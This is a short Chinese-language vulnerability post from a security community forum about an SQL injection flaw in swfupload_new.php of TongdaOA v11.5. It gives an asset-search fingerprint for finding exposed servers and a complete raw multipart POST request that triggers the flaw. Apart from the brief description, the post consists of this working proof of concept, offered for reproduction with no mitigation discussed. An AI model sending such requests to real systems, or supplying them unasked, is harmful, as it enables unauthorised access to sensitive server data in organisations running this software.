奇安信攻防社区-TongdaOA v11.5 swfupload

TongdaOA v11.5 swfupload_new.php SQL注入漏洞

# TongdaOA v11.5 swfupload_new.php SQL注入漏洞 ## 漏洞描述 TongdaOA v11.5 swfupload_new.php 文件存在SQL注入漏洞，攻击者通过漏洞可获取服务器敏感信息 ## 漏洞影响 TongdaOA...

TongdaOA v11.5 swfupload\_new.php SQL注入漏洞
=========================================

漏洞描述
----

TongdaOA v11.5 swfupload\_new.php 文件存在SQL注入漏洞，攻击者通过漏洞可获取服务器敏感信息

漏洞影响
----

TongdaOA v11.5

网络测绘
----

app="TDXK-TongdaOA"

漏洞复现
----

登陆页面

![img](https://shs3.b.qianxin.com/butian_public/f6526411a0815016b551b535c2adfb560b6189b002741.jpg)

发送请求包触发漏洞

```php
POST /general/file_folder/swfupload_new.php HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 355
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
Accept-Encoding: gzip

------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_ID"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"

1
------------GFioQpMK0vv2
Content-Disposition: form-data; name="FILE_SORT"

2
------------GFioQpMK0vv2
Content-Disposition: form-data; name="SORT_ID"

------------GFioQpMK0vv2--
```

![img](https://shs3.b.qianxin.com/butian_public/f750019aa4ddb9774849d2735e79d2535e0953e6c718b.jpg)

若有收获，就点个赞吧

发表于 2024-07-12 18:44:25
阅读 ( 975 )
分类：OA产品

TongdaOA v11.5 swfupload_new.php SQL注入漏洞

0 条评论